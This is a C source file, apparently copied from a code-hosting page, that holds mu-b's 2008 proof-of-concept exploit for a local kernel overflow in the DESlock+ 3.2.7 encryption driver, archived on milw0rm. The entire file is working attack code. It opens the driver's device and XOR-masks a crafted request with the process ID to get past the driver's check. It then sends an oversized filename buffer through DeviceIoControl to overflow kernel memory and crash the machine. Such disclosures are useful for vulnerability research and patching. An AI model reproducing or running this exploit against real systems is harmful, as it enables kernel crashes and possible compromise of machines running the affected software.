94 lines
No EOL
2.2 KiB
C
94 lines
No EOL
2.2 KiB
C
/* deslock-overflow.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* DESlock+ <= 3.2.7 local kernel overflow POC
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* by mu-b - Sat 23 Feb 2008
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*
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* - Tested on: DLMFENC.sys 1.0.0.28
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*
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* http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
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* - I wonder what that says about CESG CCTM?
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <windows.h>
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#define DLMFENC_IOCTL 0x0FA4204C
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#define DLMFENC_FLAG 0xC001D00D
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#define DLMFENC_BUZ_SZ 0x1000
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#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))
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struct ioctl_req {
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int flag;
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int req_num;
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void *arg[ARG_SIZE(0x20)];
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};
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static void
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xor_mask_req (struct ioctl_req *req)
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{
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DWORD i, pid;
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PCHAR ptr;
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pid = GetCurrentProcessId ();
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for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
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*ptr ^= pid;
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}
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int
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main (int argc, char **argv)
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{
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struct ioctl_req req;
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CHAR buf[DLMFENC_BUZ_SZ + 128];
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HANDLE hFile;
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BOOL result;
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DWORD rlen;
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printf ("DESlock+ <= 3.2.7 local kernel overflow PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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fflush (stdout);
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hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
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FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
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OPEN_EXISTING, 0, NULL);
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if (hFile == INVALID_HANDLE_VALUE)
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{
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fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
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exit (EXIT_FAILURE);
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}
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buf[0] = 'C'; /* drive letter */
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memset (&buf[1], 0x41, sizeof buf - 1); /* filename */
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buf[sizeof buf - 1] = '\0';
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memset (&req, 0, sizeof req);
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req.flag = DLMFENC_FLAG;
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req.req_num = 0x05;
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req.arg[0] = (void *) buf;
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sleep (2000);
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xor_mask_req (&req);
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result = DeviceIoControl (hFile, DLMFENC_IOCTL,
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&req, sizeof req, &req, sizeof req, &rlen, 0);
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if (!result)
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{
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fprintf (stderr, "* DeviceIoControl failed\n");
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exit (EXIT_FAILURE);
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}
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printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);
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CloseHandle (hFile);
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2008-09-20]
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